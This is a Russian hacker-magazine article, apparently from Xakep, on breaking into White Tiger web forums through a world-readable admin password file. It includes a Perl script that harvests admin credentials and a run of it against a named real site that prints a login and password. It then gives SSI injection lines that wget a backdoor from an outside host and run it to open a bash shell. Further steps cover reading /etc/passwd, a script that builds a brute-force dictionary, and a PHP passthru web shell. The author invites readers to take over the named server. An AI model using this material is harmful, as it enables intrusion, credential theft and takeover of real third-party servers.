Прошло уже почти три года, как я обнаружил досадную багу в форумах производителя White Tiger. Не знаю, почему я о ней вспомнил, но решил еще раз помучить поисковики и найти жертву. Ведь дефейс форума (как три года назад) меня уже нисколько не интересовал.

Меня поразило то число линков, которое мне выдал гугль на запрос "wtboard/index.shtml" (почему я выбрал именно такой запрос скажу немного ниже). Среди ответов были дефейснутые сайты (актуальность бага, несмотря на свою заплесневелость, еще не потеряла), сообщения о закрытости форума из-за проблем безопасности, а также вполне рабочие борды. Один из таких форумов был www.galactic.ru. Его мы сегодня и обсудим как наглядный пример.

Как ты помнишь, суть баги была в том, что админы не закрывали доступ на файлы в директории /data относительно web-сервера. В поставке форума есть файл .htaccess, который запрещает обзор директории, но не более. На сами файлы следует устанавливать атрибуты
так, чтобы любой пользователь их не мог прочитать (или менять путь к /data за пределы web-сервера). Галактик-форум не позволял обозревать дата-каталог, но вполне давал прочитать отдельные файлы в нем.

По дефолту, файл, хранящий записи администраторов форума находится в /data/wtbadmin.txt. Честно сказать, 
меня ломало каждый раз проверять наличие этого файла, поэтому я написал небольшой скрипт, делающий эту работу за тебя. Назвал я его find.pl.

#!/usr/bin/perl

## Auto check for file /data/wtbadmin.txt
## By Forb (forb@real.xakep.ru)

$|++;
use IO::Socket;
use Getopt::Std; ##
Выключаем буферизацию и используем модули getopt и
socket.

getopt("sp"); ## Парсим командную строку на предмет опций -s и -p

$port=$opt_p || 80; ## Устанавливаем порт, если он был явно задан
$server=$opt_s || exit print "Usage $0 <-s server> [-p port]\n"; ##
Сервер берем из значения опции -s

$file="/data/wtbadmin.txt"; ##
Файл, который требуется найти

$sock=IO::Socket::INET->new("$server:$port") || die "Cant create sock\n"; ## Создаем сокет
$sock->autoflush(1); ##
Вырубаем буферизацию
print $sock "GET $file HTTP/1.0\nHost: $server\n\n"; ##
Катаем запрос

$sock->recv($answer,1024); ## Получаем ответ
@answer=split("\n",$answer); ##
Преобразуем многострочный ответ в один массив (для удобства)
$status=$answer[0]; 
$acct=$answer[scalar @answer-1]; ##
Первая строка массива - статус, последняя - содержимое файла
if($status=~/200 OK/) { ##
Если статус - 200 OK (файл найден и доступен для чтения)
print "wtbadmin.txt found!\n"; ##
Пишем на экран
($login,$password)=split(";;",$acct); ##
Выделяем из содержимого файла логин и пароль (разделитель пара точек с запятой)
print "Login is: $login, Password is: $password.\n";
print "Try this account at $server/wtboard/wtbadmin.htm\n"; ##
Пишем логин и пароль, а также напоминаем ссылку на web-админку
} else {
print "wtbadmin.txt NOT found!\n"; ##
В противном случае выводим на экран - файл не найден
}
close($sock); ##
Закроем сокет

Вот, собственно, и все. Если хочешь быть обладателем этого скрипта - скопируй его отсюда, либо слей с адреса
http://kamensk.net.ru/forb/1/x/find.tar.gz
(без комментариев).

С этим скриптом поиск будет куда удобнее и увлекательнее. К примеру, в моем случае ответ был следующий:

[root@forbik site]# perl find.pl -s www.galactic.ru
wtbadmin.txt found!
Login is: max, Password is: maxik.
Try this account at www.galactic.ru/wtboard/wtbadmin.htm

Становится понятным, что аккаунт для веб-администрирования был получен :). Остается его применить.

Вот тут то и наступает самое интересное! Три года назад в статье я вообще ничего не говорил об администрировании, полагаясь на твою логику и фантазию ;). В итоге получилось, что все форумы, которые являлись уязвимыми были задефейсены или загажены пакостливыми постами :).

Мы пойдем другим путем! Когда я ломал какой-либо форум по своей же методике, я старался зарутать сервер. Это вполне реально, несмотря на апачевые web-права. Достаточно посадить бэкдор в систему и запустить его. Моим любимым бэкдором (хотя и немого кривым, я имею ввиду код) является
http://kamensk.net.ru/forb/1/shell. Он открывает 5051 порт и запускает на нем /bin/bash :). Это нам и нужно.

Итак, топаем на страницу администрирования www.galactic.ru/wtboard/wtbadmin.htm. Выбираем раздел "Внешний вид форума и интерфейс" (выбран по умолчанию). Вводим логин и пароль, полученные моим скриптом, и попадаем в среду web-администрирования.

Нас интересует Index-поле главной страницы index.shtml. С помощью вызовов SSI мы скачаем и посадим наш бэкдор. Запись будет выглядеть следующим образом:

<!--#exec cmd="wget http://url/path/to/bd.pl -O /tmp/bd.pl"--> <!--#exec cmd="perl /tmp/bd.pl"-->

После этого, сохраняем структуру и переходим на главную страницу. Если все в порядке, то на сервере откроется 5051 порт. Учить тебя локальному захвату системы я не буду - это ты и так умеешь ;). Не забудь убрать за собой эти строки, повторно зайдя в систему, так как второй раз скачивать бэкдор не желательно.

Нас интересует немного другое... Дело в том, что на galactic был закрыт весь исходящий трафик, поэтому скачать файл не удалось. Кстати, продиагностировать это можно, используя опцию -b в вызове wget, а затем прочитав wget-log (все через SSI). Если ты запортачил страницу и не можешь загрузить index.shtml, выбери раздел "Восстановление Index" и верни структуру страницы.

Я задумался о других методах получения привилегий, используя эту багу. Во-первых, пункт "Изменение списка участников, игнор лист" может подарить тебе учетную запись на другой сервер или mail-account (юзерам свойственно юзать одинаковые пароли как на форум, так и на мыльник. А последний они часто оставляют в форуме :)).

Также можно сделать SSI-команду cat /etc/passwd и пробрутать учетную запись вида login:login на какой-либо сервис. О такого типа брутфорсерах часто писалось, поэтому расскажу о методе поверхностно.

После вызова, бекапим /etc/passwd на диск и с помощью легкого perl-скрипта преобразуем файл в словарь:

#!/usr/bin/perl

open(PWD,"passwd");
open(OUT,">out");
while(<PWD>) {
($login,$pwd)=split(":",$_);
print OUT "$login\:$login\n";
}
close PWD;
close OUT;

Становится ясно. Скрипт генерирует словарь вида login:login, который можно использовать в разного рода брутфорсерах (например Brutus). Метод часто работает, но сломать galactic я им не сумел :(.

Оставался один выход - написать perl или php-скрипт, который был способен выполнить команды. Это можно было сделать тем же SSI-вызовом вида echo "<?passthru($cmd)?>" > file.php", но он почему то не захотел выполнится.

В итоге, я оставил этот сервер в покое. Попробуй зарутать его, может у тебя получится. Но, естественно, ответственность за содеянное понесешь только ты ;).

И напоследок скажу, почему я выбрал именно такой поисковой запрос. Дело в том, что расширение shtml у главной страницы ставится опционально, а для SSI наличие такого расширения очень важно. Иначе вызовы просто не будут работать.

И хватит уже дефейсить форумы! Это может сделать каждый. Будь на планку выше, и попробуй сделать с багой что-либо стоящее. Ведь ты же не скрипткидди, так?

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии